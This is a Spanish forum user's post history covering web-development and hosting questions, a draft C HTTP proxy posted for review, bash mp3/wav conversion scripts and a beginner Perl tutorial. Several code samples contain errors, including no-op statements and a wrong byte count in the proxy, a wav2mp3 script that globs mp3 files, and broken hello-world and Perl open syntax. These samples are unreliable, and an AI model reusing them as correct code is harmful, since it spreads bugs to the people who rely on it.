Comenzaré comentando que usé PHP, y también Perl, aunque NUNCA para procesamiento de páginas web. Se que en Google usan Python, y facebook usa PHP pero... ¿ventajas? ¿desventajas?

Les abro la pizarra...
6  Programación / Desarrollo Web / Permisos de descarga en servidores HTTP en: 31 Mayo 2011, 13:24 pm
Hola gente,

Mi duda es la siguiente: Si tenemos un servicio X, donde un usuario tiene almacenado un archivo en nuestra web, ¿cómo controlamos que este usuario sea el único en poder descargar el fichero?

A este punto estoy suponiendo que no hubo autenticación HTTP, por ejemplo un webmail o un foro.

¿Cómo controlar que realmente SOLO USUARIOS tienen acceso real al archivo?

¿Cómo lo harían?
7  Comunicaciones / Redes / Contratar Hosting o Poner Server? en: 30 Mayo 2011, 14:29 pm
Hola amigos,

Mi pregunta del día de hoy viene por este lado: Todos sabemos que si vas a poner una web para tu empresa o algo por el estilo, contratas un hosting, registras el dominio y ya.

Ahora supongamos esto: Un proyecto de empresa totalmente web, con un flujo importante de datos. Algo como que digamos "los inventores de Google" o un nuevo webmail o lo que sea. ¿Contratas un hosting o pones un server propio?

Ahora vamos más adentro. En un país como Argentina, donde la velocidad y el ancho de banda no son cosas que sobren... ¿cómo te las arreglas para montar una arquitectura de red de digamos... 1.000.000 de usuarios? ¿Cómo te aseguras no tener un cuello de botella que deje a la mitad de tus usuarios sin servicio? ¿Qué haces si de repente tu cantidad de usuarios sube como si se tratara de una inundación?

Creo que es algo que representaría un desafío de arquitecturas de red. ¿Cómo hacés para no crashear y morir?
8  Programación / Programación C/C++ / [C] HTTP-PROXY en: 1 Marzo 2011, 00:03 am
Hola gente, hace tiempo que no posteo. Un amigo estaba viendo cómo hacer un proxy http y me pasó un draft para que le eche un vistazo.

La verdad es que hace rato que no veo nada de sockets, y menos de HTTP. Quizá cuando tenga un rato le eche un vistazo capturando paquetes para ver si trabaja como debe, mientras tanto se los dejo para que me den opiniones / mejoras / comentarios, y jueguen un rato capturando paquetes.

Código
  1. # include <stdio.h>
  2. # include <sys/types.h>
  3. # include <sys/socket.h>
  4. # include <sys/time.h>
  5. # include <sys/param.h>
  6. # include <sys/file.h>
  7. # include <netinet/in.h>
  8. # include <netdb.h>
  9. # include <ctype.h>
  10. # include <string.h>
  11. # include <stdlib.h>
  12. # include <errno.h>
  13. # include <limits.h>
  14. # define ERR 5;
  15. # define DATA 3;
  16. # define ACK 4;
  17. # define BLOQUE 516;
  18. # define DIR_SERVIDOR 100;
  19. FILE *archivo;
  20. FILE *archivo2; //20
  21. char no_arch[20];
  22. char nom_arch[20];
  23. char error[1024];
  24. char resp[1024];
  25. char data[516];
  26. char data2[516];
  27. char ack[1024];
  28. char Met[5]= "post\0";
  29. uint16_t error_tipo, ack_tipo, cod, tipo;
  30. int socketserv, nro_frag, cant, n, socketcli, posi;
  31. struct sockaddr_in extremoRemoto;
  32. struct sockaddr_in enlace;
  33. char buffer[512];
  34. char recibido[512];
  35.  
  36.  
  37. void codigoError()
  38. // Establece el codigo de error que voy a mandar en el paquete ERR al cliente
  39. {
  40. switch (errno)
  41. {
  42. case 2: cod-1; break;
  43. case 5: cod-2; break;
  44. }
  45. }
  46. int timeout(int fd, int sec)
  47. /*Controla el timeout. Devuelve 0 si se termino el timeout, -1 en caso de
  48. error y un valor positivo si hay un evento pendiente*/
  49. {
  50. fd_set conj_lectura;
  51. struct timeval tiempo;
  52. int r;
  53. FD_ZERO(&conj_lectura);
  54. FD_SET(fd, &conj_lectura);
  55. tiempo.tv_sec=sec;
  56. tiempo.tv_usec=0;
  57. r=select(FD_SETSIZE, &conj_lectura, NULL,NULL,&tiempo);
  58. }
  59. void metodo()
  60. {// este metodo selecciona post / head.
  61. //Anulado
  62. //Met[1]= "p";
  63. //Met[2]= "o";
  64. //Met[3]= "s";
  65. //Met[4]= "t";
  66. //Met[5]= "\0";
  67. }
  68. void busca_archivo(int j)
  69. {
  70. int compa;
  71. compa=strncmp(buffer+j," HTTP",5);
  72. if (compa==0)
  73. {
  74. posi=j;
  75. }
  76. else
  77. {
  78. j++;
  79. (void)busca_archivo(j);
  80. }
  81. }
  82. int main()
  83. {
  84. int sd,sdc,lon,ar;
  85. struct sockaddr_in ser,cli;
  86. ser.sin_family=AF_INET;
  87. ser.sin_port=htons(80);
  88. ser.sin_addr.s_addr=INADDR_ANY;
  89.  
  90. char archi[512];
  91. posi=0;
  92. sd=socket(PF_INET,SOCK_STREAM,0);
  93. if (bind(sd,(struct sockaddr *) &ser,sizeof(ser)) < 0)
  94. {
  95. perror("Error en Bind: ");
  96. exit(-1);
  97. }
  98. listen(sd,5);
  99. while (1)
  100. {
  101. lon=sizeof(cli);
  102. sdc= accept(sd,(struct sockaddr *) &cli, &lon);
  103. ar=recv(sdc,buffer,sizeof(buffer),0);
  104. (void)busca_archivo(1);
  105. int sock_serv,con,env,rcv,envbro;
  106. struct sockaddr_in server;
  107. server.sin_family=AF_INET;
  108. server.sin_port=htons(80);
  109. server.sin_addr.s_addr=DIR_SERVIDOR;
  110. sock_serv=socket(PF_INET,SOCK_STREAM,0);
  111. con=connect(sock_serv,(struct sockaddr *)&server,sizeof(server));
  112. if (con!=0)
  113. {
  114. perror("Error en Conectar con el Servidor: ");
  115. }
  116. else
  117. {
  118. env=send(sock_serv,buffer,sizeof(sock_serv),0);
  119. rcv=recv(sock_serv,recibido,sizeof(recibido),0);
  120. if (rcv>=0)
  121. {
  122. envbro=send(sdc,recibido,rcv,0);
  123. }
  124. }
  125. close(sock_serv);
  126. close(sdc);
  127. }
  128. close(sd);
  129. }
  130.  

Saludos,
Happy Hacking
9  Programación / Scripting / BASH mp32wav, wav2mp3 - p/linuxeros en: 21 Diciembre 2008, 16:33 pm
Hola amigos, hoy les dejo unos escrits ( :huh:) ... es decir scripts ( :xD) para el shell de Unix, especifya saben como icamente probados en bash. Usan ffmpeg para transformar archivos mp3 a wav y viceversa.

No es nada raro, pero es util y sirve para ver a bash en accion.

Tal vez la parte más interesante es cómo usar las expansiones de variables para crear los nombres nuevos, es decir, cambiar un holahola.wav a holahola.mp3... o tal vez a alguno le interese cómo es el tema de los colores en la consola, que ahi aparece.

Como sea, si tienen preguntas haganlas. Y no me vengan con comparar BASH con BATCH!!  >:(

Compartan ambos bajo GPLv2

Código
  1. #!/bin/bash
  2. ################################################################################
  3. # AUTOR: Dario A. Rodriguez                                                                                                                                                       #
  4. # Convierte los ficheros MP3 de un directorio a WAV usando ffmpeg                                                                                           #
  5. ################################################################################
  6.  
  7. if [ $# -eq 0 ]
  8. then
  9.  FILES=`ls --color=never ./*.mp3`;
  10. else
  11.  case $1 in
  12.    "-h")
  13.        echo "USAGE:"
  14.        echo "  mp32wav <file1.mp3> [<file2.mp3> <file3.mp3> ...]"
  15.        echo "      Transform all given files to WAV"
  16.        echo "  mp32wav -f <text_file>"
  17.        echo "      Transform all files listed in the given text file to WAV"
  18.        echo "  mp32wav"
  19.        echo "      Transform all the mp3 files in the directory to WAV"
  20.        echo "      this is case sensitive (only mp3, not MP3)"
  21.        exit 0
  22.    ;;
  23.    "-f")
  24.        FILES=`cat $2`
  25.    ;;
  26.    *)
  27.        FILES="$*"
  28.    ;;
  29.  esac
  30. fi
  31.  
  32. for fn in $FILES
  33. do
  34.  noextfn=${fn%.mp3}
  35.  newfn="${noextfn}.wav"
  36.  echo -e "\033[1m$fn\033[0m -------> \033[1m$newfn\033[0m"
  37.  ffmpeg -i $fn $newfn
  38. done
  39.  

Código
  1. #!/bin/bash
  2. ################################################################################
  3. # AUTOR: Dario A. Rodriguez                                                                                                                                                       #
  4. # Convierte los ficheros WAV de un directorio a MP3 usando ffmpeg                                                                                           #
  5. ################################################################################
  6.  
  7. if [ $# -eq 0 ]
  8. then
  9.  FILES=`ls --color=never ./*.mp3`;
  10. else
  11.  case $1 in
  12.    "-h")
  13.        echo "USAGE:"
  14.        echo "  wav2mp3 <file1.mp3> [<file2.mp3> <file3.mp3> ...]"
  15.        echo "      Transform all given files to MP3"
  16.        echo "  wav2mp3 -f <text_file>"
  17.        echo "      Transform all files listed in the given text file to MP3"
  18.        echo "  wav2mp3"
  19.        echo "      Transform all the mp3 files in the directory to MP3"
  20.        echo "      this is case sensitive (only wav, not WAV)"
  21.        exit 0
  22.    ;;
  23.    "-f")
  24.        FILES=`cat $2`
  25.    ;;
  26.    *)
  27.        FILES="$*"
  28.    ;;
  29.  esac
  30. fi
  31.  
  32. for fn in $FILES
  33. do
  34.  noextfn=${fn%.wav}
  35.  newfn="${noextfn}.mp3"
  36.  echo -e "\033[1m$fn\033[0m -------> \033[1m$newfn\033[0m"
  37.  ffmpeg -i $fn $newfn
  38. done
  39.  
10  Programación / Scripting / -=PERL=- en: 20 Febrero 2008, 23:39 pm
#-=PERL=-#

Bueno, vi el manual de Python de TxShack y me interesó su comentario acerca de Python vs Perl  :xD ... No te enojes, no es competencia, pero se me dio por hacer éste mini-manual de Perl ya que AMO a este lenguaje desde la primera vez que lo use...

Me interese por PERL cuando en uno de los conocidos manuales de hacking (mayormente) inofensivo leí la frase:

"PERL es el Lenguaje Amigo-Del-Hacker"

Desde entonces paso un largo tiempo hasta que agarré un manual de Perl... pero desde la primer aplicación no dejé de usarlo compulsivamente hasta hoy.

Creado en 1987 por Larry Wall como herramienta que llenaba los huecos dejados básicamente por AWK y SED. Ha influido a Python, PHP, Ruby, ECMAScript entre otros, corre en gran cantidad de Sistemas Operativos, se distribuye bajo la Licencia Artística o bajo la GPL.

Quisiera agregar que NO Abarcare todo el lenguaje ni sus trucos ni mucho menos, ya que Perl es uno de los lenguajes más extensos que conozco. En todo caso, hay interminable documentación incluida en perldoc (y cuando digo interminable hablo en serio).

Perl es un lenguaje complejo, MUUUY AMPLIO que ofrece un sinfin de posibilidades de las más variadas.

Para que sirve PERL?:
No es por ser mala onda pero si todavía tenés ésta duda ¡LEE LO ANTERIOR! - Perl sirve prácticamente para todo lo que desees. La inmensa cantidad de módulos que se han programado para Perl lo hace un lenguaje Amplio y Ampliable.

Pero a todo ésto ¿Como es PERL?:
Su sintáxis es muy similar a la de C, pero  a diferencia de éste, Perl no es tan estructurado, y yá en éste punto es necesario mencionar el lema de Perl : "SIEMPRE HAY MÁS DE UNA FORMA DE HACERLO"... y eso es marca registrada. Cuando escribes Perl puedes elegir entre miles de formas de hacer lo mismo.
Otra cosa a saber es que "SEGURAMENTE ALGUIEN YA HIZO UN MÓDULO PARA LO QUE NECESITO".
Perl es un lenguaje muy extensible y es en gran parte gracias a los módulos. No veremos ahora esa parte específicamente, pero basta saber que los módulos nos facilitarán la vida muchísimo, al punto que ejecutar comandos en una máquina remota se vuelve cuestión de unas cuantas líneas... creando una conexión en unas eficaces dos o tres líneas ( o_O ).
Empecemos por una básica comparación C - C++ -Perl :

Hola mundo en C
Código
  1. #include <stdio>
  2.  
  3. int main(void)
  4. {
  5.    printf("Hola Mundo!\n");
  6. }

Hola Mundo en C++
Código
  1. #include <iostream>
  2.  
  3. int main(void)
  4. {
  5.    cout << "Hola mundo!\n";
  6. }

Hola Mundo en Perl
Código
  1. print "Hola Mundo\n";

O bien podemos usa el SheBang para invocar al interprete de Perl, o bien para invocar una versión específica, o pasar parámetros a dicho intérprete en caso de querer que sea ejecutado de otra forma, o bien muchas cosas que pueden ver en la página correspondiente de perlrun, aqui: http://perldoc.perl.org/perlrun.html#DESCRIPTION

Y empiezan nuestras posibilidades ilimitadas con Perl... ya que podríamos usar éste modo:

Código
  1. #!/usr/bin/env perl -W
  2. use strict;
  3. print "Hola mundo!\n";

Y entonces introduciríamos el control de calidad del pragma strict, con el que, por ejemplo, no podremos inicializar una variable sin usar my.

Citar
En general lo que hace la directiva sctrict es generar errores al programas en caso de que se encuentre lo que pueda considerar "programación insegura"

A demás usamos el parametro -W con lo que activamos todas las advertencias (Warnings).

Pueden encontrar mucha información de PERL en wikipedia...


UNA INTRODUCCION

Pero empecemos con algo útil... una de las mayores capacidades de Perl es Escribir y Leer ficheros (Aunque no haya sido su significado desde un principio, actualmente Perl se conoce por las siglas Practical Extraction and Report Language... a tal punto que es la cabecera de su página de manual de Unix)

Para abrir un fichero en Perl hay que usar open()... y otra vez, recuerden que HAY MAS DE UNA FORMA DE HACERLO, tal es así que entre la documentación de perl encontramos una página llamada perlopentut en la que encontraremos muchos trucos acerca de la apertura de ficheros. Para usuarios de sistemas Unix (ej: Linux) pueden abrir una terminal y escribir perldoc perlopentut. Usuarios de debian o sistemas similares (ej: ubuntu) necesitaran instalar el paquete perl-doc
 lo cual pueden hacer mediante el comando sudo apt-get install perl-doc.
Pueden ver una lista de la enorme cantidad de documentacion disponible con el comando man perl o perldoc perl.

NOTA: Perl es una herramienta diseñada para sistemas UNIX aunque hoy en día soporta múltiples plataformas. Para correr Perl debes tener instalado el intérprete de Perl. Puedes visitar www.perl.com o www.perl.org para ver lo referente a tu sistema operativo. La documentación del comando perldoc incluye notas para muchos sistemas distintos, ver la lista en perldoc perl

Pasemos al grano:

UNA FORMA DE ABRIR Y ESCRIBIR UN FICHERO EN PERL:
Código
  1. #!/usr/bin/perl -W
  2.  
  3. # Esto es un comentario, lo que viene es la variable con la ruta...
  4.  
  5. my $Ruta_Fichero="/home/d4rio/perlscripts/utils/escribime.text";
  6.  
  7. # Ahora abro el fichero para escribirlo...
  8.  
  9. open IDENTIFICADOR "> $Ruta_Fichero";

Hasta ahi es suficiente para que expliquemos algo:: lo que sigue a open es el identificador del fichero (filehandle). Usaremos ese identificador para referirnos al fichero abierto en adelante. El signo ">" que usamos significa que escribiremos en el fichero. Es simple, se usan las mismas notaciones que usaríamos en la consola, por ejemplo, en una consola de UNIX, ésto:

Código
  1. echo "Escribo algo" > nombre_de_fichero;

...sería mandar la salida de ese comando a "nombre_de_fichero"... pero NO CONTINUANDO. En DOS o la consola de Windows es igual:

Código
  1. echo "Hola, como andan?" > archivo.txt

...escribiría "Hola, como andan?" en el fichero "archivo.txt" pero NO CONTINUANDO

NOTA: Con "NO CONTINUANDO" me refiero a que si el archivo contenía algo será borrado en vez de continuar al final del fichero.

Para abrir un archivo se pueden usar varios modos:
Modo de lectura: Lee el fichero<
Modo de escritura: Sobreescribe el fichero (si habia algo lo borra)>
Modo de escritura: Escribe al final del fichero>>

Pero se puede usar una tubería para pasar la salida de un comando a nuestro programa como si leyeramos un fichero, o bien pasar todo lo que escribamos en el identificador a un comando.
Si desean ver los miles de usos de open vean perldoc perlopentut

Ahora iremos pidiendo los datos de una persona y al final los meteremos en un fichero:

Código
  1. #!/usr/bin/env perl
  2.  
  3. # PIDO LOS DATOS
  4. print "Hola, necesito que me des unos datos...\n\n";
  5. print "Nombre: ";
  6. chop($NOMBRE=<STDIN>);
  7. print "Apellido: ";
  8. $APELLIDO=<STDIN>;
  9. chop($APELLIDO);
  10. print "\n";
  11.  
  12. # ABRO EL FICHERO
  13. open (MI_LOG, ">", "/home/d4rio/perlscripts/utils/profile.nada") or die "NO SE PUEDE CREAR EL FICHERO!\n";
  14.  
  15. # ESCRIBO
  16. print MI_LOG "Nombre: $NOMBRE Apellido:$APELLIDO\n";
  17.  
  18. # CIERRO EL ARCHIVO
  19. close MI_LOG;

Como ven incluimos otra forma de abrir el fichero (que consume unos bytes más de memoria), y la capacidad de procesar un error (NO SE PUEDE CREAR EL FICHERO)...

Vemos tambien chop() que es una funcion para quitar el último carácter, que es en general el retorno de carro y por eso siempre se quita. Tambien vemos cómo asignar a una variable el valor introducido en la Entrada Standard (<STDIN>).

Como verán es un lenguaje muy flexible, y eso que todavía no vimos nada más que una introducción. Ya veremos otras capacidades de Perl, como la gran facilidad para manejarnos con conexiónes a Internet, pero no alcanzaremos a contemplar toda la capacidad de éste lenguaje, como Interfaces gráficas con Qt, interacción con OLE en Windows, capacidad de manejar imágenes, actuar como CGI en programación web, Tratar con bases de datos, etcétera...

BUENO, ësta fue la INTRODUCCION A PERL }=) ::.
En otra ocasión nos adentraremos en éste vasto lenguaje, el LENGUAJE-AMIGO-DEL-HACKER.
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines